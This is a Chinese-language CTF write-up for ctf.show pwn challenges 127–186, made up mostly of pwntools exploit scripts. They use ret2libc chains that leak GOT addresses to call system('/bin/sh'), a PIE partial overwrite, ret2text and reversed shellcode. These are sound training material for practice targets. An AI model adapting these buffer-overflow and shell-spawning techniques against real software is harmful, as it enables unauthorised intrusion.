pwn127

同样打ret2libc

from pwn import*
elf=ELF('./pwn127')
libc=ELF('./pwn127libc.so')
io=remote('pwn.challenge.ctf.show',28272)

rdi=0x0400803
rsi_r15=0x0400801
ret=0x04004fe
write_plt=elf.plt['write']
write_got=elf.got['write']
main=elf.sym['main']

payload=cyclic(0x80+8)+p64(rdi)+p64(1)+p64(rsi_r15)+p64(write_got)+p64(0)+p64(write_plt)+p64(main)
io.sendline(payload)
write=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(write))

libc_base=write-libc.sym['write']
system=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search('/bin/sh\x00'))

payload=cyclic(0x80+8)+p64(rdi)+p64(bin_sh)+p64(system)+p64(main)
io.sendline(payload)

io.interactive()

pwn128

pwn129

pwn130

pwn131

32位开启了PIE保护,程序中输出了main函数的地址,就可以算出基地址,这次不一样的点在于最后恢复了ebx寄存器,因此在溢出时需要覆盖上去。

from pwn import*
elf=ELF('./pwn131')
libc=ELF('./pwn131libc.so')
io=remote('pwn.challenge.ctf.show',28238)
io.recvuntil('main addr is here :')
io.recvuntil('0x')
main=int(io.recv(8),16)
print(hex(main))

addr_base=main-0x79a
ebx=addr_base+0x2fc0
write_plt=addr_base+elf.plt['write']
write_got=addr_base+elf.got['write']

payload=cyclic(132)+p32(ebx)+p32(0)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
io.sendline(payload)
write=u32(io.recvuntil('\xf7')[-4:])
print(hex(write))

libc_base=write-libc.sym['write']
system=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search('/bin/sh\x00'))

payload=cyclic(0x88+4)+p32(system)+p32(0)+p32(bin_sh)
io.sendline(payload)

io.interactive()

pwn132

很简单的逻辑,只需要输入CTFshow-daniu即可获得shell。

from pwn import*
io=remote('pwn.challenge.ctf.show',28274)

io.sendline(b'CTFshow-daniu')

io.interactive()

pwn133

当然此题获得flag的方式也很简单,但是有些函数换成了安全函数且开启了FORTIFY保护,所以有些东西需要了解一下(这个后面再写一个博客)。

from pwn import*
io=remote('pwn.challenge.ctf.show',28143)

io.sendline(b'check')

io.interactive()

pwn134

同样简单,只是程序的逻辑被搞得很复杂罢了。

from pwn import*
io=remote('pwn.challenge.ctf.show',28274)

io.sendline(b'Exit')

io.interactive()

堆利用-前置基础

开启了堆的学习,难度就上去了,堆部分的ctfshow等后面学到有点感觉了后再来更新吧(0w0)。

堆利用

中期测评

pwn181

from pwn import*
io=remote('pwn.challenge.ctf.show',28313)

payload=cyclic(0x12+4)+p32(0x080485D6)
io.sendline(payload)

io.interactive()

pwn182

from pwn import*
io=remote('pwn.challenge.ctf.show',28180)
io.sendline(b'sh\x00')
io.interactive()

只能输入7个字节,因此输入sh就可以获得shell,但是好像不能正常输出,因此输入cat flag 1>&2输出flag。

pwn183

给出了puts的地址,可以直接打ret2libc

from pwn import*
libc=ELF('./pwn183libc.so')
elf=ELF('./pwn183')
io=remote('pwn.challenge.ctf.show',28257)

io.recvuntil(b' Hint : ')
puts=int(io.recv(14),16)
print(hex(puts))

rdi=0x0400873
ret=0x0400546
libc_base=puts-libc.sym['puts']
system=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search('/bin/sh\x00'))

payload=cyclic(0x60+8)+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
io.sendline(payload)

io.interactive()

pwn184

开启了PIE保护,但是又后门函数,因为只有最后几位不同,直接覆盖修改即可。

from pwn import*
io=remote('pwn.challenge.ctf.show',28192)

payload=cyclic(0x1c+4)+b'\x35'
io.send(payload)

io.interactive()

pwn185

也可以打ret2libc,但是需要再输入一个换行符才能输出puts的地址,因此会多一个gets函数。

from pwn import*
elf=ELF('./pwn185')
libc=ELF('./pwn185libc.so')
io=remote('pwn.challenge.ctf.show',28128)

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
ebx=0x08048391
bss=0x0804B030
gets=elf.plt['gets']
ctfshow=elf.sym['ctfshow']

payload=cyclic(0x28+4)+p32(puts_plt)+p32(ebx)+p32(puts_got)
payload+=p32(gets)+p32(ebx)+p32(bss)
payload+=p32(ctfshow)

io.sendline(payload)
io.sendline(b'1')

puts=u32(io.recvuntil('\xf7')[-4:])
print(hex(puts))

libc_base=puts-libc.sym['puts']
system=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search('/bin/sh\x00'))

payload=cyclic(0x28+4)+p32(system)+p32(ctfshow)+p32(bin_sh)
io.sendline(payload)

io.interactive()

pwn186

直接打shellcode,输入的shellcode执行了ctfshow函数,倒序了,因此再倒序回来即可。

from pwn import*
context.arch='i386'
io=remote('pwn.challenge.ctf.show',28220)

shellcode=asm(shellcraft.sh())[::-1]
io.send(shellcode)

io.interactive()